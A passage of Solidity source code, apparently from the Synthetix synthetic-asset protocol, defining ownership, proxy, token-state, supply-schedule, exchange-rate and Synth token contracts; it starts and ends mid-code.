(quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } function multiplyDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, PRECISE_UNIT); } function multiplyDecimalRound(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, UNIT); } function divideDecimal(uint x, uint y) internal pure returns (uint) { return x.mul(UNIT).div(y); } function _divideDecimalRound(uint x, uint y, uint precisionUnit) private pure returns (uint) { uint resultTimesTen = x.mul(precisionUnit * 10).div(y); if (resultTimesTen % 10 >= 5) { resultTimesTen += 10; } return resultTimesTen / 10; } function divideDecimalRound(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, UNIT); } function divideDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, PRECISE_UNIT); } function decimalToPreciseDecimal(uint i) internal pure returns (uint) { return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR); } function preciseDecimalToDecimal(uint i) internal pure returns (uint) { uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } } contract Owned { address public owner; address public nominatedOwner; constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { require(msg.sender == owner, "Only the contract owner may perform this action"); _; } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } contract SelfDestructible is Owned { uint public initiationTime; bool public selfDestructInitiated; address public selfDestructBeneficiary; uint public constant SELFDESTRUCT_DELAY = 4 weeks; constructor(address _owner) Owned(_owner) public { require(_owner != address(0), "Owner must not be the zero address"); selfDestructBeneficiary = _owner; emit SelfDestructBeneficiaryUpdated(_owner); } function setSelfDestructBeneficiary(address _beneficiary) external onlyOwner { require(_beneficiary != address(0), "Beneficiary must not be the zero address"); selfDestructBeneficiary = _beneficiary; emit SelfDestructBeneficiaryUpdated(_beneficiary); } function initiateSelfDestruct() external onlyOwner { initiationTime = now; selfDestructInitiated = true; emit SelfDestructInitiated(SELFDESTRUCT_DELAY); } function terminateSelfDestruct() external onlyOwner { initiationTime = 0; selfDestructInitiated = false; emit SelfDestructTerminated(); } function selfDestruct() external onlyOwner { require(selfDestructInitiated, "Self destruct has not yet been initiated"); require(initiationTime + SELFDESTRUCT_DELAY < now, "Self destruct delay has not yet elapsed"); address beneficiary = selfDestructBeneficiary; emit SelfDestructed(beneficiary); selfdestruct(beneficiary); } event SelfDestructTerminated(); event SelfDestructed(address beneficiary); event SelfDestructInitiated(uint selfDestructDelay); event SelfDestructBeneficiaryUpdated(address newBeneficiary); } contract State is Owned { address public associatedContract; constructor(address _owner, address _associatedContract) Owned(_owner) public { associatedContract = _associatedContract; emit AssociatedContractUpdated(_associatedContract); } function setAssociatedContract(address _associatedContract) external onlyOwner { associatedContract = _associatedContract; emit AssociatedContractUpdated(_associatedContract); } modifier onlyAssociatedContract { require(msg.sender == associatedContract, "Only the associated contract can perform this action"); _; } event AssociatedContractUpdated(address associatedContract); } contract TokenState is State { mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; constructor(address _owner, address _associatedContract) State(_owner, _associatedContract) public {} function setAllowance(address tokenOwner, address spender, uint value) external onlyAssociatedContract { allowance[tokenOwner][spender] = value; } function setBalanceOf(address account, uint value) external onlyAssociatedContract { balanceOf[account] = value; } } contract Proxy is Owned { Proxyable public target; bool public useDELEGATECALL; constructor(address _owner) Owned(_owner) public {} function setTarget(Proxyable _target) external onlyOwner { target = _target; emit TargetUpdated(_target); } function setUseDELEGATECALL(bool value) external onlyOwner { useDELEGATECALL = value; } function _emit(bytes callData, uint numTopics, bytes32 topic1, bytes32 topic2, bytes32 topic3, bytes32 topic4) external onlyTarget { uint size = callData.length; bytes memory _callData = callData; assembly { switch numTopics case 0 { log0(add(_callData, 32), size) } case 1 { log1(add(_callData, 32), size, topic1) } case 2 { log2(add(_callData, 32), size, topic1, topic2) } case 3 { log3(add(_callData, 32), size, topic1, topic2, topic3) } case 4 { log4(add(_callData, 32), size, topic1, topic2, topic3, topic4) } } } function() external payable { if (useDELEGATECALL) { assembly { let free_ptr := mload(0x40) calldatacopy(free_ptr, 0, calldatasize) let result := delegatecall(gas, sload(target_slot), free_ptr, calldatasize, 0, 0) returndatacopy(free_ptr, 0, returndatasize) if iszero(result) { revert(free_ptr, returndatasize) } return(free_ptr, returndatasize) } } else { target.setMessageSender(msg.sender); assembly { let free_ptr := mload(0x40) calldatacopy(free_ptr, 0, calldatasize) let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0) returndatacopy(free_ptr, 0, returndatasize) if iszero(result) { revert(free_ptr, returndatasize) } return(free_ptr, returndatasize) } } } modifier onlyTarget { require(Proxyable(msg.sender) == target, "Must be proxy target"); _; } event TargetUpdated(Proxyable newTarget); } contract Proxyable is Owned { Proxy public proxy; address messageSender; constructor(address _proxy, address _owner) Owned(_owner) public { proxy = Proxy(_proxy); emit ProxyUpdated(_proxy); } function setProxy(address _proxy) external onlyOwner { proxy = Proxy(_proxy); emit ProxyUpdated(_proxy); } function setMessageSender(address sender) external onlyProxy { messageSender = sender; } modifier onlyProxy { require(Proxy(msg.sender) == proxy, "Only the proxy can call this function"); _; } modifier optionalProxy { if (Proxy(msg.sender) != proxy) { messageSender = msg.sender; } _; } modifier optionalProxy_onlyOwner { if (Proxy(msg.sender) != proxy) { messageSender = msg.sender; } require(messageSender == owner, "This action can only be performed by the owner"); _; } event ProxyUpdated(address proxyAddress); } contract ReentrancyPreventer { bool isInFunctionBody = false; modifier preventReentrancy { require(!isInFunctionBody, "Reverted to prevent reentrancy"); isInFunctionBody = true; _; isInFunctionBody = false; } } contract TokenFallbackCaller is ReentrancyPreventer { function callTokenFallbackIfNeeded(address sender, address recipient, uint amount, bytes data) internal preventReentrancy { uint length; assembly { length := extcodesize(recipient) } if (length > 0) { recipient.call(abi.encodeWithSignature("tokenFallback(address,uint256,bytes)", sender, amount, data)); } } } contract ExternStateToken is SelfDestructible, Proxyable, TokenFallbackCaller { using SafeMath for uint; using SafeDecimalMath for uint; TokenState public tokenState; string public name; string public symbol; uint public totalSupply; uint8 public decimals; constructor(address _proxy, TokenState _tokenState, string _name, string _symbol, uint _totalSupply, uint8 _decimals, address _owner) SelfDestructible(_owner) Proxyable(_proxy, _owner) public { tokenState = _tokenState; name = _name; symbol = _symbol; totalSupply = _totalSupply; decimals = _decimals; } function allowance(address owner, address spender) public view returns (uint) { return tokenState.allowance(owner, spender); } function balanceOf(address account) public view returns (uint) { return tokenState.balanceOf(account); } function setTokenState(TokenState _tokenState) external optionalProxy_onlyOwner { tokenState = _tokenState; emitTokenStateUpdated(_tokenState); } function _internalTransfer(address from, address to, uint value, bytes data) internal returns (bool) { require(to != address(0), "Cannot transfer to the 0 address"); require(to != address(this), "Cannot transfer to the underlying contract"); require(to != address(proxy), "Cannot transfer to the proxy contract"); tokenState.setBalanceOf(from, tokenState.balanceOf(from).sub(value)); tokenState.setBalanceOf(to, tokenState.balanceOf(to).add(value)); callTokenFallbackIfNeeded(from, to, value, data); emitTransfer(from, to, value); return true; } function _transfer_byProxy(address from, address to, uint value, bytes data) internal returns (bool) { return _internalTransfer(from, to, value, data); } function _transferFrom_byProxy(address sender, address from, address to, uint value, bytes data) internal returns (bool) { tokenState.setAllowance(from, sender, tokenState.allowance(from, sender).sub(value)); return _internalTransfer(from, to, value, data); } function approve(address spender, uint value) public optionalProxy returns (bool) { address sender = messageSender; tokenState.setAllowance(sender, spender, value); emitApproval(sender, spender, value); return true; } event Transfer(address indexed from, address indexed to, uint value); bytes32 constant TRANSFER_SIG = keccak256("Transfer(address,address,uint256)"); function emitTransfer(address from, address to, uint value) internal { proxy._emit(abi.encode(value), 3, TRANSFER_SIG, bytes32(from), bytes32(to), 0); } event Approval(address indexed owner, address indexed spender, uint value); bytes32 constant APPROVAL_SIG = keccak256("Approval(address,address,uint256)"); function emitApproval(address owner, address spender, uint value) internal { proxy._emit(abi.encode(value), 3, APPROVAL_SIG, bytes32(owner), bytes32(spender), 0); } event TokenStateUpdated(address newTokenState); bytes32 constant TOKENSTATEUPDATED_SIG = keccak256("TokenStateUpdated(address)"); function emitTokenStateUpdated(address newTokenState) internal { proxy._emit(abi.encode(newTokenState), 1, TOKENSTATEUPDATED_SIG, 0, 0, 0); } } contract SupplySchedule is Owned { using SafeMath for uint; using SafeDecimalMath for uint; struct ScheduleData { uint totalSupply; uint startPeriod; uint endPeriod; uint totalSupplyMinted; } uint public mintPeriodDuration = 1 weeks; uint public lastMintEvent; Synthetix public synthetix; uint constant SECONDS_IN_YEAR = 60 * 60 * 24 * 365; uint public constant START_DATE = 1520294400; uint public constant YEAR_ONE = START_DATE + SECONDS_IN_YEAR.mul(1); uint public constant YEAR_TWO = START_DATE + SECONDS_IN_YEAR.mul(2); uint public constant YEAR_THREE = START_DATE + SECONDS_IN_YEAR.mul(3); uint public constant YEAR_FOUR = START_DATE + SECONDS_IN_YEAR.mul(4); uint public constant YEAR_FIVE = START_DATE + SECONDS_IN_YEAR.mul(5); uint public constant YEAR_SIX = START_DATE + SECONDS_IN_YEAR.mul(6); uint public constant YEAR_SEVEN = START_DATE + SECONDS_IN_YEAR.mul(7); uint8 constant public INFLATION_SCHEDULES_LENGTH = 7; ScheduleData[INFLATION_SCHEDULES_LENGTH] public schedules; uint public minterReward = 200 * SafeDecimalMath.unit(); constructor(address _owner) Owned(_owner) public { schedules[0] = ScheduleData(1e8 * SafeDecimalMath.unit(), START_DATE, YEAR_ONE - 1, 1e8 * SafeDecimalMath.unit()); schedules[1] = ScheduleData(75e6 * SafeDecimalMath.unit(), YEAR_ONE, YEAR_TWO - 1, 0); schedules[2] = ScheduleData(37.5e6 * SafeDecimalMath.unit(), YEAR_TWO, YEAR_THREE - 1, 0); schedules[3] = ScheduleData(18.75e6 * SafeDecimalMath.unit(), YEAR_THREE, YEAR_FOUR - 1, 0); schedules[4] = ScheduleData(9.375e6 * SafeDecimalMath.unit(), YEAR_FOUR, YEAR_FIVE - 1, 0); schedules[5] = ScheduleData(4.6875e6 * SafeDecimalMath.unit(), YEAR_FIVE, YEAR_SIX - 1, 0); schedules[6] = ScheduleData(0, YEAR_SIX, YEAR_SEVEN - 1, 0); } function setSynthetix(Synthetix _synthetix) external onlyOwner { synthetix = _synthetix; } function mintableSupply() public view returns (uint) { if (!isMintable()) { return 0; } uint index = getCurrentSchedule(); uint amountPreviousPeriod = _remainingSupplyFromPreviousYear(index); ScheduleData memory schedule = schedules[index]; uint weeksInPeriod = (schedule.endPeriod - schedule.startPeriod).div(mintPeriodDuration); uint supplyPerWeek = schedule.totalSupply.divideDecimal(weeksInPeriod); uint weeksToMint = lastMintEvent >= schedule.startPeriod ? _numWeeksRoundedDown(now.sub(lastMintEvent)) : _numWeeksRoundedDown(now.sub(schedule.startPeriod)); uint amountInPeriod = supplyPerWeek.multiplyDecimal(weeksToMint); return amountInPeriod.add(amountPreviousPeriod); } function _numWeeksRoundedDown(uint _timeDiff) public view returns (uint) { return _timeDiff.div(mintPeriodDuration); } function isMintable() public view returns (bool) { bool mintable = false; if (now - lastMintEvent > mintPeriodDuration && now <= schedules[6].endPeriod) { mintable = true; } return mintable; } function getCurrentSchedule() public view returns (uint) { require(now <= schedules[6].endPeriod, "Mintable periods have ended"); for (uint i = 0; i < INFLATION_SCHEDULES_LENGTH; i++) { if (schedules[i].startPeriod <= now && schedules[i].endPeriod >= now) { return i; } } } function _remainingSupplyFromPreviousYear(uint currentSchedule) internal view returns (uint) { if (currentSchedule == 0 || lastMintEvent > schedules[currentSchedule - 1].endPeriod) { return 0; } uint amountInPeriod = schedules[currentSchedule - 1].totalSupply.sub(schedules[currentSchedule - 1].totalSupplyMinted); if (amountInPeriod < 0) { return 0; } return amountInPeriod; } function updateMintValues() external onlySynthetix returns (bool) { uint currentIndex = getCurrentSchedule(); uint lastPeriodAmount = _remainingSupplyFromPreviousYear(currentIndex); uint currentPeriodAmount = mintableSupply().sub(lastPeriodAmount); if (lastPeriodAmount > 0) { schedules[currentIndex - 1].totalSupplyMinted = schedules[currentIndex - 1].totalSupplyMinted.add(lastPeriodAmount); } schedules[currentIndex].totalSupplyMinted = schedules[currentIndex].totalSupplyMinted.add(currentPeriodAmount); lastMintEvent = now; emit SupplyMinted(lastPeriodAmount, currentPeriodAmount, currentIndex, now); return true; } function setMinterReward(uint _amount) external onlyOwner { minterReward = _amount; emit MinterRewardUpdated(_amount); } modifier onlySynthetix() { require(msg.sender == address(synthetix), "Only the synthetix contract can perform this action"); _; } event SupplyMinted(uint previousPeriodAmount, uint currentAmount, uint indexed schedule, uint timestamp); event MinterRewardUpdated(uint newRewardAmount); } contract ExchangeRates is SelfDestructible { using SafeMath for uint; using SafeDecimalMath for uint; mapping(bytes4 => uint) public rates; mapping(bytes4 => uint) public lastRateUpdateTimes; address public oracle; uint constant ORACLE_FUTURE_LIMIT = 10 minutes; uint public rateStalePeriod = 3 hours; bytes4[5] public xdrParticipants; struct InversePricing { uint entryPoint; uint upperLimit; uint lowerLimit; bool frozen; } mapping(bytes4 => InversePricing) public inversePricing; bytes4[] public invertedKeys; constructor( address _owner, address _oracle, bytes4[] _currencyKeys, uint[] _newRates ) SelfDestructible(_owner) public { require(_currencyKeys.length == _newRates.length, "Currency key length and rate length must match."); oracle = _oracle; rates["sUSD"] = SafeDecimalMath.unit(); lastRateUpdateTimes["sUSD"] = now; xdrParticipants = [ bytes4("sUSD"), bytes4("sAUD"), bytes4("sCHF"), bytes4("sEUR"), bytes4("sGBP") ]; internalUpdateRates(_currencyKeys, _newRates, now); } function updateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent) external onlyOracle returns(bool) { return internalUpdateRates(currencyKeys, newRates, timeSent); } function internalUpdateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent) internal returns(bool) { require(currencyKeys.length == newRates.length, "Currency key array length must match rates array length."); require(timeSent < (now + ORACLE_FUTURE_LIMIT), "Time is too far into the future"); for (uint i = 0; i < currencyKeys.length; i++) { require(newRates[i] != 0, "Zero is not a valid rate, please call deleteRate instead."); require(currencyKeys[i] != "sUSD", "Rate of sUSD cannot be updated, it's always UNIT."); if (timeSent < lastRateUpdateTimes[currencyKeys[i]]) { continue; } newRates[i] = rateOrInverted(currencyKeys[i], newRates[i]); rates[currencyKeys[i]] = newRates[i]; lastRateUpdateTimes[currencyKeys[i]] = timeSent; } emit RatesUpdated(currencyKeys, newRates); updateXDRRate(timeSent); return true; } function rateOrInverted(bytes4 currencyKey, uint rate) internal returns (uint) { InversePricing storage inverse = inversePricing[currencyKey]; if (inverse.entryPoint <= 0) { return rate; } uint newInverseRate = rates[currencyKey]; if (!inverse.frozen) { uint doubleEntryPoint = inverse.entryPoint.mul(2); if (doubleEntryPoint <= rate) { newInverseRate = 0; } else { newInverseRate = doubleEntryPoint.sub(rate); } if (newInverseRate >= inverse.upperLimit) { newInverseRate = inverse.upperLimit; } else if (newInverseRate <= inverse.lowerLimit) { newInverseRate = inverse.lowerLimit; } if (newInverseRate == inverse.upperLimit || newInverseRate == inverse.lowerLimit) { inverse.frozen = true; emit InversePriceFrozen(currencyKey); } } return newInverseRate; } function updateXDRRate(uint timeSent) internal { uint total = 0; for (uint i = 0; i < xdrParticipants.length; i++) { total = rates[xdrParticipants[i]].add(total); } rates["XDR"] = total; lastRateUpdateTimes["XDR"] = timeSent; bytes4[] memory eventCurrencyCode = new bytes4[](1); eventCurrencyCode[0] = "XDR"; uint[] memory eventRate = new uint[](1); eventRate[0] = rates["XDR"]; emit RatesUpdated(eventCurrencyCode, eventRate); } function deleteRate(bytes4 currencyKey) external onlyOracle { require(rates[currencyKey] > 0, "Rate is zero"); delete rates[currencyKey]; delete lastRateUpdateTimes[currencyKey]; emit RateDeleted(currencyKey); } function setOracle(address _oracle) external onlyOwner { oracle = _oracle; emit OracleUpdated(oracle); } function setRateStalePeriod(uint _time) external onlyOwner { rateStalePeriod = _time; emit RateStalePeriodUpdated(rateStalePeriod); } function setInversePricing(bytes4 currencyKey, uint entryPoint, uint upperLimit, uint lowerLimit) external onlyOwner { require(entryPoint > 0, "entryPoint must be above 0"); require(lowerLimit > 0, "lowerLimit must be above 0"); require(upperLimit > entryPoint, "upperLimit must be above the entryPoint"); require(upperLimit < entryPoint.mul(2), "upperLimit must be less than double entryPoint"); require(lowerLimit < entryPoint, "lowerLimit must be below the entryPoint"); if (inversePricing[currencyKey].entryPoint <= 0) { invertedKeys.push(currencyKey); } inversePricing[currencyKey].entryPoint = entryPoint; inversePricing[currencyKey].upperLimit = upperLimit; inversePricing[currencyKey].lowerLimit = lowerLimit; inversePricing[currencyKey].frozen = false; emit InversePriceConfigured(currencyKey, entryPoint, upperLimit, lowerLimit); } function removeInversePricing(bytes4 currencyKey) external onlyOwner { inversePricing[currencyKey].entryPoint = 0; inversePricing[currencyKey].upperLimit = 0; inversePricing[currencyKey].lowerLimit = 0; inversePricing[currencyKey].frozen = false; for (uint8 i = 0; i < invertedKeys.length; i++) { if (invertedKeys[i] == currencyKey) { delete invertedKeys[i]; invertedKeys[i] = invertedKeys[invertedKeys.length - 1]; invertedKeys.length--; break; } } emit InversePriceConfigured(currencyKey, 0, 0, 0); } function effectiveValue(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey) public view rateNotStale(sourceCurrencyKey) rateNotStale(destinationCurrencyKey) returns (uint) { if (sourceCurrencyKey == destinationCurrencyKey) return sourceAmount; return sourceAmount.multiplyDecimalRound(rateForCurrency(sourceCurrencyKey)) .divideDecimalRound(rateForCurrency(destinationCurrencyKey)); } function rateForCurrency(bytes4 currencyKey) public view returns (uint) { return rates[currencyKey]; } function ratesForCurrencies(bytes4[] currencyKeys) public view returns (uint[]) { uint[] memory _rates = new uint[](currencyKeys.length); for (uint8 i = 0; i < currencyKeys.length; i++) { _rates[i] = rates[currencyKeys[i]]; } return _rates; } function lastRateUpdateTimeForCurrency(bytes4 currencyKey) public view returns (uint) { return lastRateUpdateTimes[currencyKey]; } function lastRateUpdateTimesForCurrencies(bytes4[] currencyKeys) public view returns (uint[]) { uint[] memory lastUpdateTimes = new uint[](currencyKeys.length); for (uint8 i = 0; i < currencyKeys.length; i++) { lastUpdateTimes[i] = lastRateUpdateTimes[currencyKeys[i]]; } return lastUpdateTimes; } function rateIsStale(bytes4 currencyKey) public view returns (bool) { if (currencyKey == "sUSD") return false; return lastRateUpdateTimes[currencyKey].add(rateStalePeriod) < now; } function rateIsFrozen(bytes4 currencyKey) external view returns (bool) { return inversePricing[currencyKey].frozen; } function anyRateIsStale(bytes4[] currencyKeys) external view returns (bool) { uint256 i = 0; while (i < currencyKeys.length) { if (currencyKeys[i] != "sUSD" && lastRateUpdateTimes[currencyKeys[i]].add(rateStalePeriod) < now) { return true; } i += 1; } return false; } modifier rateNotStale(bytes4 currencyKey) { require(!rateIsStale(currencyKey), "Rate stale or nonexistant currency"); _; } modifier onlyOracle { require(msg.sender == oracle, "Only the oracle can perform this action"); _; } event OracleUpdated(address newOracle); event RateStalePeriodUpdated(uint rateStalePeriod); event RatesUpdated(bytes4[] currencyKeys, uint[] newRates); event RateDeleted(bytes4 currencyKey); event InversePriceConfigured(bytes4 currencyKey, uint entryPoint, uint upperLimit, uint lowerLimit); event InversePriceFrozen(bytes4 currencyKey); } contract LimitedSetup { uint setupExpiryTime; constructor(uint setupDuration) public { setupExpiryTime = now + setupDuration; } modifier onlyDuringSetup { require(now < setupExpiryTime, "Can only perform this action during setup"); _; } } contract ISynthetixState { struct IssuanceData { uint initialDebtOwnership; uint debtEntryIndex; } uint[] public debtLedger; uint public issuanceRatio; mapping(address => IssuanceData) public issuanceData; function debtLedgerLength() external view returns (uint); function hasIssued(address account) external view returns (bool); function incrementTotalIssuerCount() external; function decrementTotalIssuerCount() external; function setCurrentIssuanceData(address account, uint initialDebtOwnership) external; function lastDebtLedgerEntry() external view returns (uint); function appendDebtLedgerValue(uint value) external; function clearIssuanceData(address account) external; } contract SynthetixState is ISynthetixState, State, LimitedSetup { using SafeMath for uint; using SafeDecimalMath for uint; mapping(address => IssuanceData) public issuanceData; uint public totalIssuerCount; uint[] public debtLedger; uint public importedXDRAmount; uint public issuanceRatio = SafeDecimalMath.unit() / 5; uint constant MAX_ISSUANCE_RATIO = SafeDecimalMath.unit(); mapping(address => bytes4) public preferredCurrency; constructor(address _owner, address _associatedContract) State(_owner, _associatedContract) LimitedSetup(1 weeks) public {} function setCurrentIssuanceData(address account, uint initialDebtOwnership) external onlyAssociatedContract { issuanceData[account].initialDebtOwnership = initialDebtOwnership; issuanceData[account].debtEntryIndex = debtLedger.length; } function clearIssuanceData(address account) external onlyAssociatedContract { delete issuanceData[account]; } function incrementTotalIssuerCount() external onlyAssociatedContract { totalIssuerCount = totalIssuerCount.add(1); } function decrementTotalIssuerCount() external onlyAssociatedContract { totalIssuerCount = totalIssuerCount.sub(1); } function appendDebtLedgerValue(uint value) external onlyAssociatedContract { debtLedger.push(value); } function setPreferredCurrency(address account, bytes4 currencyKey) external onlyAssociatedContract { preferredCurrency[account] = currencyKey; } function setIssuanceRatio(uint _issuanceRatio) external onlyOwner { require(_issuanceRatio <= MAX_ISSUANCE_RATIO, "New issuance ratio cannot exceed MAX_ISSUANCE_RATIO"); issuanceRatio = _issuanceRatio; emit IssuanceRatioUpdated(_issuanceRatio); } function importIssuerData(address[] accounts, uint[] sUSDAmounts) external onlyOwner onlyDuringSetup { require(accounts.length == sUSDAmounts.length, "Length mismatch"); for (uint8 i = 0; i < accounts.length; i++) { _addToDebtRegister(accounts[i], sUSDAmounts[i]); } } function _addToDebtRegister(address account, uint amount) internal { Synthetix synthetix = Synthetix(associatedContract); uint xdrValue = synthetix.effectiveValue("sUSD", amount, "XDR"); uint totalDebtIssued = importedXDRAmount; uint newTotalDebtIssued = xdrValue.add(totalDebtIssued); importedXDRAmount = newTotalDebtIssued; uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued); uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage); uint existingDebt = synthetix.debtBalanceOf(account, "XDR"); if (existingDebt > 0) { debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued); } if (issuanceData[account].initialDebtOwnership == 0) { totalIssuerCount = totalIssuerCount.add(1); } issuanceData[account].initialDebtOwnership = debtPercentage; issuanceData[account].debtEntryIndex = debtLedger.length; if (debtLedger.length > 0) { debtLedger.push( debtLedger[debtLedger.length - 1].multiplyDecimalRoundPrecise(delta) ); } else { debtLedger.push(SafeDecimalMath.preciseUnit()); } } function debtLedgerLength() external view returns (uint) { return debtLedger.length; } function lastDebtLedgerEntry() external view returns (uint) { return debtLedger[debtLedger.length - 1]; } function hasIssued(address account) external view returns (bool) { return issuanceData[account].initialDebtOwnership > 0; } event IssuanceRatioUpdated(uint newRatio); } contract IFeePool { address public FEE_ADDRESS; function amountReceivedFromExchange(uint value) external view returns (uint); function amountReceivedFromTransfer(uint value) external view returns (uint); function feePaid(bytes4 currencyKey, uint amount) external; function appendAccountIssuanceRecord(address account, uint lockedAmount, uint debtEntryIndex) external; function rewardsMinted(uint amount) external; function transferFeeIncurred(uint value) public view returns (uint); } contract Synth is ExternStateToken { IFeePool public feePool; Synthetix public synthetix; bytes4 public currencyKey; uint8 constant DECIMALS = 18; constructor(address _proxy, TokenState _tokenState, Synthetix _synthetix, IFeePool _feePool, string _tokenName, string _tokenSymbol, address _owner, bytes4 _currencyKey ) ExternStateToken(_proxy, _tokenState, _tokenName, _tokenSymbol, 0, DECIMALS, _owner) public { require(_proxy != 0, "_proxy cannot be 0"); require(address(_synthetix) != 0, "_synthetix cannot be 0"); require(address(_feePool) != 0, "_feePool cannot be 0"); require(_owner != 0, "_owner cannot be 0"); require(_synthetix.synths(_currencyKey) == Synth(0), "Currency key is already in use"); feePool = _feePool; synthetix = _synthetix; currencyKey = _currencyKey; } function setSynthetix(Synthetix _synthetix) external optionalProxy_onlyOwner { synthetix = _synthetix; emitSynthetixUpdated(_synthetix); } function setFeePool(IFeePool _feePool) external optionalProxy_onlyOwner { feePool = _feePool; emitFeePoolUpdated(_feePool); } function transfer(address to, uint value) public optionalProxy notFeeAddress(messageSender) returns (bool) { uint amountReceived = feePool.amountReceivedFromTransfer(value); uint fee = value.sub(amountReceived); synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee); bytes memory empty; return _internalTransfer(messageSender, to, amountReceived, empty); } function transfer(address to, uint value, bytes data) public optionalProxy notFeeAddress(messageSender) returns (bool) { uint amountReceived = feePool.amountReceivedFromTransfer(value); uint fee = value.sub(amountReceived); synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee); return _internalTransfer(messageSender, to, amountReceived, data); } function transferFrom(address from, address to, uint value) public optionalProxy notFeeAddress(from) returns (bool) { uint amountReceived = feePool.amountReceivedFromTransfer(value); uint fee = value.sub(amountReceived); tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value)); synthetix.synthInitiatedFeePayment(from, currencyKey, fee); bytes memory empty; return _internalTransfer(from, to, amountReceived, empty); } function transferFrom(address from, address to, uint value, bytes data) public optionalProxy notFeeAddress(from) returns (bool) { uint amountReceived = feePool.amountReceivedFromTransfer(value); uint fee = value.sub(amountReceived); tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value)); synthetix.synthInitiatedFeePayment(from, currencyKey, fee); return _internalTransfer(from, to, amountReceived, data); } function transferSenderPaysFee(address to, uint value) public optionalProxy notFeeAddress(messageSender) returns (bool) { uint fee = feePool.transferFeeIncurred(value); synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee); bytes memory empty; return _internalTransfer(messageSender, to, value, empty); } function transferSenderPaysFee(address to, uint value, bytes data) public optionalProxy notFeeAddress(messageSender) returns (bool) { uint fee = feePool.transferFeeIncurred(value); synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee); return _internalTransfer(messageSender, to, value, data); } function transferFromSenderPaysFee(address from, address to, uint value) public optionalProxy notFeeAddress(from) returns (bool) { uint fee = feePool.transferFeeIncurred(value); tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee))); synthetix.synthInitiatedFeePayment(from, currencyKey, fee); bytes memory empty; return _internalTransfer(from, to, value, empty); } function transferFromSenderPaysFee(address from, address to, uint value, bytes data) public optionalProxy notFeeAddress(from) returns (bool) { uint fee = feePool.transferFeeIncurred(value); tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee))); synthetix.synthInitiatedFeePayment(from, currencyKey, fee); return _internalTransfer(from, to, value, data); } function _internalTransfer(address from, address to, uint value, bytes data) internal returns (bool) { bytes4 preferredCurrencyKey = synthetix.synthetixState().preferredCurrency(to); if (preferredCurrencyKey != 0 && preferredCurrencyKey != currencyKey) { return synthetix.synthInitiatedExchange(from, currencyKey, value, preferredCurrencyKey, to); } else { return super._internalTransfer(from, to, value, data); } } function issue(address account, uint amount) external onlySynthetixOrFeePool { tokenState.setBalanceOf(account, tokenState.balanceOf(account).add(amount)); totalSupply = totalSupply.add(amount); emitTransfer(address(0), account, amount); emitIssued(account, amount); } function burn(address account, uint amount) external onlySynthetixOrFeePool { tokenState.setBalanceOf(account, tokenState.balanceOf(account).sub(amount)); totalSupply = totalSupply.sub(amount); emitTransfer(account, address(0), amount); emitBurned(account, amount); } function setTotalSupply(uint amount) external optionalProxy_onlyOwner { totalSupply = amount; } function triggerTokenFallbackIfNeeded(address sender, address recipient, uint amount) external onlySynthetixOrFeePool { bytes memory empty; callTokenFallbackIfNeeded(sender, recipient, amount, empty); } modifier onlySynthetixOrFeePool() { bool isSynthetix = msg.sender == address(synthetix); bool isFeePool = msg.sender == address(feePool); require(isSynthetix || isFeePool, "Only the Synthetix or FeePool contracts can perform this action"); _; } modifier notFeeAddress(address account) { require(account != feePool.FEE_ADDRESS(), "Cannot perform this action with the fee address"); _; } event SynthetixUpdated(address newSynthetix); bytes32 constant SYNTHETIXUPDATED_SIG = keccak256("SynthetixUpdated(address)"); function emitSynthetixUpdated(address newSynthetix) internal { proxy._emit(abi.encode(newSynthetix), 1, SYNTHETIXUPDATED_SIG, 0, 0, 0); } event FeePoolUpdated(address newFeePool); bytes32 constant FEEPOOLUPDATED_SIG = keccak256("FeePoolUpdated(address)"); function emitFeePoolUpdated(address newFeePool) internal { proxy._emit(abi.encode(newFeePool), 1, FEEPOOLUPDATED_SIG, 0, 0, 0); } event Issued(address indexed account, uint value); bytes32 constant ISSUED_SIG = keccak256("Issued(address,uint256)"); function emitIssued(address account, uint value) internal { proxy._emit(abi.encode(value), 2, ISSUED_SIG, bytes32(account), 0, 0); } event Burned(address indexed account, uint value); bytes32 constant BURNED_SIG = keccak256("Burned(address,uint256)"); function emitBurned(address account, uint value) internal { proxy._emit(abi.encode(value), 2, BURNED_SIG, bytes32(account), 0, 0); } } interface ISynthetixEscrow { function balanceOf(address account) public view returns (uint); function appendVestingEntry(address account, uint quantity) public; } contract Synthetix is ExternStateToken { Synth[] public availableSynths; mapping(bytes4 => Synth) public synths; IFeePool public feePool; ISynthetixEscrow public escrow; ISynthetixEscrow public rewardEscrow; ExchangeRates public exchangeRates; SynthetixState public 